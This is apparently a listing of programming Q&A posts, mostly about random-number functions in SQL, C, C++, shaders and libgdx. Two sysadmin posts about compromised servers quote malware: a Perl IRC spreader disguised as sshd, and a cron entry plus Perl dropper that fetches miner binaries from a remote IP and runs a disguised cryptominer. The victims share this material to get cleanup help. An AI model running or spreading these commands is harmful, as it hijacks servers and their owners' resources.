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  • How do I select a random record efficiently in MySQL?

    - by user198729
    mysql> EXPLAIN SELECT * FROM urls ORDER BY RAND() LIMIT 1; +----+-------------+-------+------+---------------+------+---------+------+-------+---------------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+-------+------+---------------+------+---------+------+-------+---------------------------------+ | 1 | SIMPLE | urls | ALL | NULL | NULL | NULL | NULL | 62228 | Using temporary; Using filesort | +----+-------------+-------+------+---------------+------+---------+------+-------+---------------------------------+ The above doesn't qualify as efficient,how should I do it properly?

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  • iphone shake error

    - by aaa
    Right now I have this- [code] - (void)motionEnded:(UIEventSubtype)motion withEvent:(UIEvent *)event { if (event.type == UIEventSubtypeMotionShake) { int text = rand() % 12; switch (text) { case 0: textview.text = @"blah." ; break;[/code] For some reason, the text has to be selected for it to work. If you just shake it, nothing will happen.

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  • Code to generate random numbers in C++

    - by user1678927
    Basically I have to write a program to generate random numbers to simulate the rolling of a pair of dice. This program should be constructed in multiple files. The main function should be in one file, the other functions should be in a second source file, and their prototypes should be in a header file. First I write a short function that returns a random value between 1 and 6 to simulate the rolling of a single 6-sided die.Second, i write a function that pretends to roll a pair of dice by calling this function twice. My program starts by asking the user how many rolls should be made. Then I write a function to simulate rolling the dice this many times, keeping a count of exactly how many times the values 2,3,4,5,6,7,8,9,10,11,12(each number is the sum of a pair of dice) occur in an array. Later I write a function to display a small bar chart using these counts that ideally would look something like below for a sample of 144 rolls, where the number of asterisks printed corresponds to the count: 2 3 4 5 6 7 8 9 10 11 12 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Next, to see how well the random number generator is doing, I write a function to compute the average value rolled. Compare this to the ideal average of 7. Also, print out a small table showing the counts of each roll made by the program, the ideal count based on the frequencies above given the total number of rolls, and the difference between these values in separate columns. This is my incomplete code so far: "Compiler visual studio 2010" int rolling(){ //Function that returns a random value between 1 and 6 rand(unsigned(time(NULL))); int dice = 1 + (rand() %6); return dice; } int roll_dice(int num1,int num2){ //it calls 'rolling function' twice int result1,result2; num1 = rolling(); num2 = rolling(); result1 = num1; result2 = num2; return result1,result2; } int main(void){ int times,i,sum,n1,n2; int c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11;//counters for each sum printf("Please enter how many times you want to roll the dice.\n") scanf_s("%i",&times); I pretend to use counters to count each sum and store the number(the count) in an array. I know i need a loop (for) and some conditional statements (if) but m main problem is to get the values from roll_dice and store them in n1 and n2 so then i can sum them up and store the sum in 'sum'.

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  • Select random line in SQL database

    - by Jensen
    Hi, I would like to select a random line in my database. I saw this solution on a website: SELECT column FROM table ORDER BY RAND() LIMIT 1 This SQL query run but someone said me that it was a non performant query. Is there another solution ? Thx

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  • Estimating the size of a tree

    - by Full Decent
    I'd like to estimate the number of leaves in a large tree structure for which I can't visit every node exhaustively. Is this algorithm appropriate? Does it have a name? Also, please pedant if I am using any terms improperly. sum_trials = 0 num_trials = 0 WHILE time_is_not_up bits = 0 ptr = tree.root WHILE count(ptr.children) > 0 bits += log2(count(ptr.children)) ptr = ptr.children[rand()%count(ptr.children)] sum_trials += bits num_trials++ estimated_tree_size = 2^(sum_trials/num_trials)

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  • generating random enums

    - by null_radix
    How do I randomly select a value for an enum type in C++? I would like to do something like this. enum my_type(A,B,C,D,E,F,G,h,J,V); my_type test(rand() % 10); But this is illegal... there is not an implicit conversion from int to an enum type.

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  • Locating Rogue Perl Script

    - by Gary Garside
    I've been trying to source the location of a perl script which is causing havoc on a server which i control. I'm also trying to find out exactly how this script was installed on the server - my best guess is through a wordpress exploit. The server is a basic web setup running Ubuntu 9.04, Apache and MySQL. I use IPTables for firewall, the site runs around 20 sites and the load never really creeps above 0.7. From what i can see the script is making outbound connection to other servers (most likely trying to brute force entry). Here is a top dump of one of the processes: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 22569 www-data 20 0 22784 3216 780 R 100 0.2 47:00.60 perl The command the process is running is /usr/sbin/sshd . I've tried to find an exact file name but im having no luck... i've ran a lsof -p PID and here is the output: COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME perl 22569 www-data cwd DIR 8,6 4096 2 / perl 22569 www-data rtd DIR 8,6 4096 2 / perl 22569 www-data txt REG 8,6 10336 162220 /usr/bin/perl perl 22569 www-data mem REG 8,6 26936 170219 /usr/lib/perl/5.10.0/auto/Socket/Socket.so perl 22569 www-data mem REG 8,6 22808 170214 /usr/lib/perl/5.10.0/auto/IO/IO.so perl 22569 www-data mem REG 8,6 39112 145112 /lib/libcrypt-2.9.so perl 22569 www-data mem REG 8,6 1502512 145124 /lib/libc-2.9.so perl 22569 www-data mem REG 8,6 130151 145113 /lib/libpthread-2.9.so perl 22569 www-data mem REG 8,6 542928 145122 /lib/libm-2.9.so perl 22569 www-data mem REG 8,6 14608 145125 /lib/libdl-2.9.so perl 22569 www-data mem REG 8,6 1503704 162222 /usr/lib/libperl.so.5.10.0 perl 22569 www-data mem REG 8,6 135680 145116 /lib/ld-2.9.so perl 22569 www-data 0r FIFO 0,6 157216 pipe perl 22569 www-data 1w FIFO 0,6 197642 pipe perl 22569 www-data 2w FIFO 0,6 197642 pipe perl 22569 www-data 3w FIFO 0,6 197642 pipe perl 22569 www-data 4u IPv4 383991 TCP outsidesoftware.com:56869->server12.34.56.78.live-servers.net:www (ESTABLISHED) My gut feeling is outsidesoftware.com is also under attacK? Or possibly being used as a tunnel. I've managed to find a number of rouge files in /tmp and /var/tmp, here is a brief output of one of these files: #!/usr/bin/perl # this spreader is coded by xdh # xdh@xxxxxxxxxxx # only for testing... my @nickname = ("vn"); my $nick = $nickname[rand scalar @nickname]; my $ircname = $nickname[rand scalar @nickname]; #system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`"); my $processo = '/usr/sbin/sshd'; The full file contents can be viewed here: http://pastebin.com/yenFRrGP Im trying to achieve a couple of things here... Firstly i need to stop these processes from running. Either by disabling outbound SSH or any IP Tables rules etc... these scripts have been running for around 36 hours now and my main concern is to stop these things running and respawning by themselves. Secondly i need to try and source where and how these scripts have been installed. If anybody has any advise on what to look for in access logs or anything else i would be really grateful. Thanks in advance

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  • ./kernelupdates 100% cpu usage

    - by Vaibhav Panmand
    I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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  • SSAO Distortion

    - by Robert Xu
    I'm currently (attempting) to add SSAO to my engine, except it's...not really work, to say the least. I use a deferred renderer to render my scene. I have four render targets: Albedo, Light, Normal, and Depth. Here are the parameters for all of them (Surface Format, Depth Format): Albedo: 32-bit ARGB, Depth24Stencil8 Light: 32-bit ARGB, None Normal: 32-bit ARGB, None Depth: 8-bit R (Single), Depth24Stencil8 To generate my random noise map for the SSAO, I do the following for each pixel in the noise map: Vector3 v3 = Vector3.Zero; double z = rand.NextDouble() * 2.0 - 1.0; double r = Math.Sqrt(1.0 - z * z); double angle = rand.NextDouble() * MathHelper.TwoPi; v3.X = (float)(r * Math.Cos(angle)); v3.Y = (float)(r * Math.Sin(angle)); v3.Z = (float)z; v3 += offset; v3 *= 0.5f; result[i] = new Color(v3); This is my GBuffer rendering effect: PixelInput RenderGBufferColorVertexShader(VertexInput input) { PixelInput pi = ( PixelInput ) 0; pi.Position = mul(input.Position, WorldViewProjection); pi.Normal = mul(input.Normal, WorldInverseTranspose); pi.Color = input.Color; pi.TPosition = pi.Position; pi.WPosition = input.Position; return pi; } GBufferTarget RenderGBufferColorPixelShader(PixelInput input) { GBufferTarget output = ( GBufferTarget ) 0; float3 position = input.TPosition.xyz / input.TPosition.w; output.Albedo = lerp(float4(1.0f, 1.0f, 1.0f, 1.0f), input.Color, ColorFactor); output.Normal = EncodeNormal(input.Normal); output.Depth = position.z; return output; } And here is the SSAO effect: float4 EncodeNormal(float3 normal) { return float4((normal.xyz * 0.5f) + 0.5f, 0.0f); } float3 DecodeNormal(float4 encoded) { return encoded * 2.0 - 1.0f; } float Intensity; float Size; float2 NoiseOffset; float4x4 ViewProjection; float4x4 ViewProjectionInverse; texture DepthMap; texture NormalMap; texture RandomMap; const float3 samples[16] = { float3(0.01537562, 0.01389096, 0.02276565), float3(-0.0332658, -0.2151698, -0.0660736), float3(-0.06420016, -0.1919067, 0.5329634), float3(-0.05896204, -0.04509097, -0.03611697), float3(-0.1302175, 0.01034653, 0.01543675), float3(0.3168565, -0.182557, -0.01421785), float3(-0.02134448, -0.1056605, 0.00576055), float3(-0.3502164, 0.281433, -0.2245609), float3(-0.00123525, 0.00151868, 0.02614773), float3(0.1814744, 0.05798516, -0.02362876), float3(0.07945167, -0.08302628, 0.4423518), float3(0.321987, -0.05670302, -0.05418307), float3(-0.00165138, -0.00410309, 0.00537362), float3(0.01687791, 0.03189049, -0.04060405), float3(-0.04335613, -0.00530749, 0.06443053), float3(0.8474263, -0.3590308, -0.02318038), }; sampler DepthSampler = sampler_state { Texture = DepthMap; MipFilter = Point; MinFilter = Point; MagFilter = Point; AddressU = Clamp; AddressV = Clamp; AddressW = Clamp; }; sampler NormalSampler = sampler_state { Texture = NormalMap; MipFilter = Linear; MinFilter = Linear; MagFilter = Linear; AddressU = Clamp; AddressV = Clamp; AddressW = Clamp; }; sampler RandomSampler = sampler_state { Texture = RandomMap; MipFilter = Linear; MinFilter = Linear; MagFilter = Linear; }; struct VertexInput { float4 Position : POSITION0; float2 TextureCoordinates : TEXCOORD0; }; struct PixelInput { float4 Position : POSITION0; float2 TextureCoordinates : TEXCOORD0; }; PixelInput SSAOVertexShader(VertexInput input) { PixelInput pi = ( PixelInput ) 0; pi.Position = input.Position; pi.TextureCoordinates = input.TextureCoordinates; return pi; } float3 GetXYZ(float2 uv) { float depth = tex2D(DepthSampler, uv); float2 xy = uv * 2.0f - 1.0f; xy.y *= -1; float4 p = float4(xy, depth, 1); float4 q = mul(p, ViewProjectionInverse); return q.xyz / q.w; } float3 GetNormal(float2 uv) { return DecodeNormal(tex2D(NormalSampler, uv)); } float4 SSAOPixelShader(PixelInput input) : COLOR0 { float depth = tex2D(DepthSampler, input.TextureCoordinates); float3 position = GetXYZ(input.TextureCoordinates); float3 normal = GetNormal(input.TextureCoordinates); float occlusion = 1.0f; float3 reflectionRay = DecodeNormal(tex2D(RandomSampler, input.TextureCoordinates + NoiseOffset)); for (int i = 0; i < 16; i++) { float3 sampleXYZ = position + reflect(samples[i], reflectionRay) * Size; float4 screenXYZW = mul(float4(sampleXYZ, 1.0f), ViewProjection); float3 screenXYZ = screenXYZW.xyz / screenXYZW.w; float2 sampleUV = float2(screenXYZ.x * 0.5f + 0.5f, 1.0f - (screenXYZ.y * 0.5f + 0.5f)); float frontMostDepthAtSample = tex2D(DepthSampler, sampleUV); if (frontMostDepthAtSample < screenXYZ.z) { occlusion -= 1.0f / 16.0f; } } return float4(occlusion * Intensity * float3(1.0, 1.0, 1.0), 1.0); } technique SSAO { pass Pass0 { VertexShader = compile vs_3_0 SSAOVertexShader(); PixelShader = compile ps_3_0 SSAOPixelShader(); } } However, when I use the effect, I get some pretty bad distortion: Here's the light map that goes with it -- is the static-like effect supposed to be like that? I've noticed that even if I'm looking at nothing, I still get the static-like effect. (you can see it in the screenshot; the top half doesn't have any geometry yet it still has the static-like effect) Also, does anyone have any advice on how to effectively debug shaders?

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  • What's the best/most efficent way to create a semi-intelligent AI for a tic tac toe game?

    - by Link
    basically I am attempting to make a a efficient/smallish C game of Tic-Tac-Toe. I have implemented everything other then the AI for the computer so far. my squares are basically structs in an array with an assigned value based on the square. For example s[1].value = 1; therefore it's a x, and then a value of 3 would be a o. My question is whats the best way to create a semi-decent game playing AI for my tic-tac-toe game? I don't really want to use minimax, since It's not what I need. So how do I avoid a a lot of if statments and make it more efficient. Here is the rest of my code: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> struct state{ // defined int state; // 0 is tie, 1 is user loss, 2 is user win, 3 is ongoing game int moves; }; struct square{ // one square of the board int value; // 1 is x, 3 is o char sign; // no space used }; struct square s[9]; //set up the struct struct state gamestate = {0,0}; //nothing void setUpGame(){ // setup the game int i = 0; for(i = 0; i < 9; i++){ s[i].value = 0; s[i].sign = ' '; } gamestate.moves=0; printf("\nHi user! You're \"x\"! I'm \"o\"! Good Luck :)\n"); } void displayBoard(){// displays the game board printf("\n %c | %c | %c\n", s[6].sign, s[7].sign, s[8].sign); printf("-----------\n"); printf(" %c | %c | %c\n", s[3].sign, s[4].sign, s[5].sign); printf("-----------\n"); printf(" %c | %c | %c\n\n", s[0].sign, s[1].sign, s[2].sign); } void getHumanMove(){ // get move from human int i; while(1){ printf(">>:"); char line[255]; // input the move to play fgets(line, sizeof(line), stdin); while(sscanf(line, "%d", &i) != 1) { //1 match of defined specifier on input line printf("Sorry, that's not a valid move!\n"); fgets(line, sizeof(line), stdin); } if(s[i-1].value != 0){printf("Sorry, That moves already been taken!\n\n");continue;} break; } s[i-1].value = 1; s[i-1].sign = 'x'; gamestate.moves++; } int sum(int x, int y, int z){return(x*y*z);} void getCompMove(){ // get the move from the computer } void checkWinner(){ // check the winner int i; for(i = 6; i < 9; i++){ // check cols if((sum(s[i].value,s[i-3].value,s[i-6].value)) == 8){printf("The Winner is o!\n");gamestate.state=1;} if((sum(s[i].value,s[i-3].value,s[i-6].value)) == 1){printf("The Winner is x!\n");gamestate.state=2;} } for(i = 0; i < 7; i+=3){ // check rows if((sum(s[i].value,s[i+1].value,s[i+2].value)) == 8){printf("The Winner is o!\n");gamestate.state=1;} if((sum(s[i].value,s[i+1].value,s[i+2].value)) == 1){printf("The Winner is x!\n");gamestate.state=2;} } if((sum(s[0].value,s[4].value,s[8].value)) == 8){printf("The Winner is o!\n");gamestate.state=1;} if((sum(s[0].value,s[4].value,s[8].value)) == 1){printf("The Winner is x!\n");gamestate.state=2;} if((sum(s[2].value,s[4].value,s[6].value)) == 8){printf("The Winner is o!\n");gamestate.state=1;} if((sum(s[2].value,s[4].value,s[6].value)) == 1){printf("The Winner is x!\n");gamestate.state=2;} } void playGame(){ // start playing the game gamestate.state = 3; //set-up the gamestate srand(time(NULL)); int temp = (rand()%2) + 1; if(temp == 2){ // if two comp goes first temp = (rand()%2) + 1; if(temp == 2){ s[4].value = 2; s[4].sign = 'o'; gamestate.moves++; }else{ s[2].value = 2; s[2].sign = 'o'; gamestate.moves++; } } displayBoard(); while(gamestate.state == 3){ if(gamestate.moves<10); getHumanMove(); if(gamestate.moves<10); getCompMove(); checkWinner(); if(gamestate.state == 3 && gamestate.moves==9){ printf("The game is a tie :p\n"); break; } displayBoard(); } } int main(int argc, const char *argv[]){ printf("Welcome to Tic Tac Toe\nby The Elite Noob\nEnter 1-9 To play a move, standard numpad\n1 is bottom-left, 9 is top-right\n"); while(1){ // while game is being played printf("\nPress 1 to play a new game, or any other number to exit;\n>>:"); char line[255]; // input whether or not to play the game fgets(line, sizeof(line), stdin); int choice; // user's choice about playing or not while(sscanf(line, "%d", &choice) != 1) { //1 match of defined specifier on input line printf("Sorry, that's not a valid option!\n"); fgets(line, sizeof(line), stdin); } if(choice == 1){ setUpGame(); // set's up the game playGame(); // Play a Game }else {break;} // exit the application } printf("\nThank's For playing!\nHave a good Day!\n"); return 0; }

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  • Problem Implementing Texture on Libgdx Mesh of Randomized Terrain

    - by BrotherJack
    I'm having problems understanding how to apply a texture to a non-rectangular object. The following code creates textures such as this: from the debug renderer I think I've got the physical shape of the "earth" correct. However, I don't know how to apply a texture to it. I have a 50x50 pixel image (in the environment constructor as "dirt.png"), that I want to apply to the hills. I have a vague idea that this seems to involve the mesh class and possibly a ShapeRenderer, but the little i'm finding online is just confusing me. Bellow is code from the class that makes and regulates the terrain and the code in a separate file that is supposed to render it (but crashes on the mesh.render() call). Any pointers would be appreciated. public class Environment extends Actor{ Pixmap sky; public Texture groundTexture; Texture skyTexture; double tankypos; //TODO delete, temp public Tank etank; //TODO delete, temp int destructionRes; // how wide is a static pixel private final float viewWidth; private final float viewHeight; private ChainShape terrain; public Texture dirtTexture; private World world; public Mesh terrainMesh; private static final String LOG = Environment.class.getSimpleName(); // Constructor public Environment(Tank tank, FileHandle sfileHandle, float w, float h, int destructionRes) { world = new World(new Vector2(0, -10), true); this.destructionRes = destructionRes; sky = new Pixmap(sfileHandle); viewWidth = w; viewHeight = h; skyTexture = new Texture(sky); terrain = new ChainShape(); genTerrain((int)w, (int)h, 6); Texture tankSprite = new Texture(Gdx.files.internal("TankSpriteBase.png")); Texture turretSprite = new Texture(Gdx.files.internal("TankSpriteTurret.png")); tank = new Tank(0, true, tankSprite, turretSprite); Rectangle tankrect = new Rectangle(300, (int)tankypos, 44, 45); tank.setRect(tankrect); BodyDef terrainDef = new BodyDef(); terrainDef.type = BodyType.StaticBody; terrainDef.position.set(0, 0); Body terrainBody = world.createBody(terrainDef); FixtureDef fixtureDef = new FixtureDef(); fixtureDef.shape = terrain; terrainBody.createFixture(fixtureDef); BodyDef tankDef = new BodyDef(); Rectangle rect = tank.getRect(); tankDef.type = BodyType.DynamicBody; tankDef.position.set(0,0); tankDef.position.x = rect.x; tankDef.position.y = rect.y; Body tankBody = world.createBody(tankDef); FixtureDef tankFixture = new FixtureDef(); PolygonShape shape = new PolygonShape(); shape.setAsBox(rect.width*WORLD_TO_BOX, rect.height*WORLD_TO_BOX); fixtureDef.shape = shape; dirtTexture = new Texture(Gdx.files.internal("dirt.png")); etank = tank; } private void genTerrain(int w, int h, int hillnessFactor){ int width = w; int height = h; Random rand = new Random(); //min and max bracket the freq's of the sin/cos series //The higher the max the hillier the environment int min = 1; //allocating horizon for screen width Vector2[] horizon = new Vector2[width+2]; horizon[0] = new Vector2(0,0); double[] skyline = new double[width]; //TODO skyline necessary as an array? //ratio of amplitude of screen height to landscape variation double r = (int) 2.0/5.0; //number of terms to be used in sine/cosine series int n = 4; int[] f = new int[n*2]; //calculating omegas for sine series for(int i = 0; i < n*2 ; i ++){ f[i] = rand.nextInt(hillnessFactor - min + 1) + min; } //amp is the amplitude of the series int amp = (int) (r*height); double lastPoint = 0.0; for(int i = 0 ; i < width; i ++){ skyline[i] = 0; for(int j = 0; j < n; j++){ skyline[i] += ( Math.sin( (f[j]*Math.PI*i/height) ) + Math.cos(f[j+n]*Math.PI*i/height) ); } skyline[i] *= amp/(n*2); skyline[i] += (height/2); skyline[i] = (int)skyline[i]; //TODO Possible un-necessary float to int to float conversions tankypos = skyline[i]; horizon[i+1] = new Vector2((float)i, (float)skyline[i]); if(i == width) lastPoint = skyline[i]; } horizon[width+1] = new Vector2(800, (float)lastPoint); terrain.createChain(horizon); terrain.createLoop(horizon); //I have no idea if the following does anything useful :( terrainMesh = new Mesh(true, (width+2)*2, (width+2)*2, new VertexAttribute(Usage.Position, (width+2)*2, "a_position")); float[] vertices = new float[(width+2)*2]; short[] indices = new short[(width+2)*2]; for(int i=0; i < (width+2); i+=2){ vertices[i] = horizon[i].x; vertices[i+1] = horizon[i].y; indices[i] = (short)i; indices[i+1] = (short)(i+1); } terrainMesh.setVertices(vertices); terrainMesh.setIndices(indices); } Here is the code that is (supposed to) render the terrain. @Override public void render(float delta) { Gdx.gl.glClearColor(1, 1, 1, 1); Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT); // tell the camera to update its matrices. camera.update(); // tell the SpriteBatch to render in the // coordinate system specified by the camera. backgroundStage.draw(); backgroundStage.act(delta); uistage.draw(); uistage.act(delta); batch.begin(); debugRenderer.render(this.ground.getWorld(), camera.combined); batch.end(); //Gdx.graphics.getGL10().glEnable(GL10.GL_TEXTURE_2D); ground.dirtTexture.bind(); ground.terrainMesh.render(GL10.GL_TRIANGLE_FAN); //I'm particularly lost on this ground.step(); }

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  • Subclipse RAD 7 cannot compare JS

    - by JM Maranan
    Hi, I cant seem to compare two JS files (one edited locally and the latest version from the repository when doing Team Synch or Compare With) using Subversion in IBM RAD 7. I have used Subclipse as a plugin version 1.6.8. I have totally downgraded to Subclipse 1.6.5 because my team mate's IDE (also RAD 7) is working fine on this subclipse version when comparing JS files. I have also looked up and seems we have both the same version of RAD 7. Frantically looked for solutions on the net and found nothing. Sorry if this is the place to look for support. I was attempting to upgrade my RAD but darn the fix packs are so huge even for a little fixes (other fixes I mean)(shoo IBM). Does anyone have a workaround?

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  • Django development targeting both the Google App Engine and Py2Exe

    - by bp
    I must hand in a mostly static database-driven website on a topic on my choice by the end of June as both a hosted version live on the internet and a stored version on a cd-rom. "Ease of launching" is one of the bulletpoints for evaluation of the project. (Yeah, I know.) I and my project mate are currently comparing various frameworks and technologies to help us deliver and deploy this as quickly and painlessly as possible. Theoretically, by using Django, I can target the Google App Engine (which I guess would provide us reliable, free-as-in-beer hosting) or the Py2Exe system + SQLLite (which I guess would make starting the website server from disk as hard as doubleclicking on an .exe file). Sounds better than what PHP and MySQL can ever hope to bring me, right? However, we need to target both Py2Exe and the GAE. How much of the differencies between these wildly different configurations are hidden by Django? What will instead require special attention and possibly specialized code on my end?

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  • ipad simulator error after distribution

    - by ghiboz
    Hi all, I developed a test app and I tried to use into the simulator.. all works fine! After, following the document "iPhone_developer_program_user_guide" I made the distribution version of my app (and xcode built it without problems). After this, I couldn't try the distribution 'cause I don't have iPad, but when I selected the debug type and relaunched to the simulator, the simulator starts, become all black and xcode give this error: I sent the .app and the .mobileprovision to my mate that have the iPad (configured with the udid) and retrieve an unknown error (0xE8008001)... thanks in advance!

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  • Lotus Notes doesn't send customised button

    - by damo_inc
    Hi All, I created a customised button with some simple actions attached to it in Lotus Notes 6.5. It's just a simple voting button, which I emailed to a group of nearly 200 people. While sending I got a pop up telling me that the button can't be send. After about 10 seconds I got a first reply asking 'where's the button'. Then an avalanche of very clever emails followed, such as: 'no button', 'where's the button', etc. Before I spammed everyon I had tried the email on my work mate and the button went through fine! Any ideas? I suspect some security policy.... I really need to send this mail and get the survey results, so I don't want to fail again. Any suggestions appreciated. Many Thanks, Damo

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